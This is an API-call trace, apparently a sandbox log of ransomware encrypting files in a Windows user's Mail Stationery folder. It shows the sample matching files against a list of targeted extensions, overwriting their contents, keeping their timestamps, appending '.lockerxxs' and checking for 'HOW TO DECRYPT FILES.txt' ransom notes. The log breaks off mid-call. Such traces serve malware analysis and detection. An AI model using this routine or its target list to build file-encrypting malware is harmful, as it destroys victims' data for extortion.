0 [0085.005] lstrlenA (lpString="*.rar") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.zip") returned 0 [0085.006] lstrlenA (lpString="*.zip") returned 5 [0085.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.html") returned 0 [0085.006] lstrlenA (lpString="*.html") returned 6 [0085.006] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.htm") returned 1 [0085.006] lstrlenA (lpString="*.htm") returned 5 [0085.006] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" [0085.006] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" [0085.006] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm." [0085.006] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.lockerxxs" [0085.006] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.007] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xed [0085.007] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce071725, dwHighDateTime=0x1ca040d)) returned 1 [0085.007] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.007] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc7, lpOverlapped=0x0) returned 1 [0085.009] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned="Green Bubbles.htm" [0085.009] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.009] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc7, lpOverlapped=0x0) returned 1 [0085.009] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.009] CloseHandle (hObject=0x98) returned 1 [0085.009] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.lockerxxs")) returned 1 [0085.011] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x23000320, dwReserved1=0x4e00c4, cFileName="GreenBubbles.jpg", cAlternateFileName="GREENB~1.JPG")) returned 1 [0085.011] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.011] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GreenBubbles.jpg") returned -1 [0085.011] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GreenBubbles.jpg") returned 1 [0085.011] lstrcmpiA (lpString1="", lpString2="GreenBubbles.jpg") returned -1 [0085.011] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned="Green Bubbles.htm" [0085.011] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.011] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.011] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.011] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.012] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="GreenBubbles.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.ems") returned 0 [0085.012] lstrlenA (lpString="*.ems") returned 5 [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.db") returned 0 [0085.012] lstrlenA (lpString="*.db") returned 4 [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.dbf") returned 0 [0085.012] lstrlenA (lpString="*.dbf") returned 5 [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.myox") returned 0 [0085.012] lstrlenA (lpString="*.myox") returned 6 [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.myo") returned 0 [0085.012] lstrlenA (lpString="*.myo") returned 5 [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qbw") returned 0 [0085.012] lstrlenA (lpString="*.qbw") returned 5 [0085.012] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qbb") returned 0 [0085.013] lstrlenA (lpString="*.qbb") returned 5 [0085.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qbm") returned 0 [0085.013] lstrlenA (lpString="*.qbm") returned 5 [0085.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qbo") returned 0 [0085.013] lstrlenA (lpString="*.qbo") returned 5 [0085.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qbx") returned 0 [0085.013] lstrlenA (lpString="*.qbx") returned 5 [0085.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qba") returned 0 [0085.013] lstrlenA (lpString="*.qba") returned 5 [0085.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qby") returned 0 [0085.013] lstrlenA (lpString="*.qby") returned 5 [0085.013] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qbj") returned 0 [0085.014] lstrlenA (lpString="*.qbj") returned 5 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.ofx") returned 0 [0085.014] lstrlenA (lpString="*.ofx") returned 5 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.qif") returned 0 [0085.014] lstrlenA (lpString="*.qif") returned 5 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.mye") returned 0 [0085.014] lstrlenA (lpString="*.mye") returned 5 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.mbox") returned 0 [0085.014] lstrlenA (lpString="*.mbox") returned 6 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.eml") returned 0 [0085.014] lstrlenA (lpString="*.eml") returned 5 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.pst") returned 0 [0085.014] lstrlenA (lpString="*.pst") returned 5 [0085.014] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.ost") returned 0 [0085.015] lstrlenA (lpString="*.ost") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.idx") returned 0 [0085.015] lstrlenA (lpString="*.idx") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.dbx") returned 0 [0085.015] lstrlenA (lpString="*.dbx") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.sql") returned 0 [0085.015] lstrlenA (lpString="*.sql") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.mdb") returned 0 [0085.015] lstrlenA (lpString="*.mdb") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.fdb") returned 0 [0085.015] lstrlenA (lpString="*.fdb") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.wab") returned 0 [0085.015] lstrlenA (lpString="*.wab") returned 5 [0085.015] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.dat") returned 0 [0085.016] lstrlenA (lpString="*.dat") returned 5 [0085.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.txt") returned 0 [0085.016] lstrlenA (lpString="*.txt") returned 5 [0085.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.jpeg") returned 0 [0085.016] lstrlenA (lpString="*.jpeg") returned 6 [0085.016] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", pszSpec="*.jpg") returned 1 [0085.016] lstrlenA (lpString="*.jpg") returned 5 [0085.016] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" [0085.016] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" [0085.016] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg." [0085.016] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.lockerxxs" [0085.016] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.041] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1906 [0085.041] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa436a95, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.041] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.041] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x18e0, lpOverlapped=0x0) returned 1 [0085.055] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned="GreenBubbles.jpg" [0085.055] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.055] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x18e0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x18e0, lpOverlapped=0x0) returned 1 [0085.055] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.055] CloseHandle (hObject=0x98) returned 1 [0085.055] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.lockerxxs")) returned 1 [0085.057] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x23000320, dwReserved1=0x4e00c4, cFileName="Hand Prints.htm", cAlternateFileName="HANDPR~1.HTM")) returned 1 [0085.057] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.057] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hand Prints.htm") returned -1 [0085.057] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hand Prints.htm") returned 1 [0085.057] lstrcmpiA (lpString1="", lpString2="Hand Prints.htm") returned -1 [0085.057] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned="GreenBubbles.jpg" [0085.057] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.057] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.057] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.057] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.057] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Hand Prints.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" [0085.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.ems") returned 0 [0085.058] lstrlenA (lpString="*.ems") returned 5 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.db") returned 0 [0085.058] lstrlenA (lpString="*.db") returned 4 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.dbf") returned 0 [0085.058] lstrlenA (lpString="*.dbf") returned 5 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.myox") returned 0 [0085.058] lstrlenA (lpString="*.myox") returned 6 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.myo") returned 0 [0085.058] lstrlenA (lpString="*.myo") returned 5 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qbw") returned 0 [0085.058] lstrlenA (lpString="*.qbw") returned 5 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qbb") returned 0 [0085.058] lstrlenA (lpString="*.qbb") returned 5 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qbm") returned 0 [0085.058] lstrlenA (lpString="*.qbm") returned 5 [0085.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qbo") returned 0 [0085.059] lstrlenA (lpString="*.qbo") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qbx") returned 0 [0085.059] lstrlenA (lpString="*.qbx") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qba") returned 0 [0085.059] lstrlenA (lpString="*.qba") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qby") returned 0 [0085.059] lstrlenA (lpString="*.qby") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qbj") returned 0 [0085.059] lstrlenA (lpString="*.qbj") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", 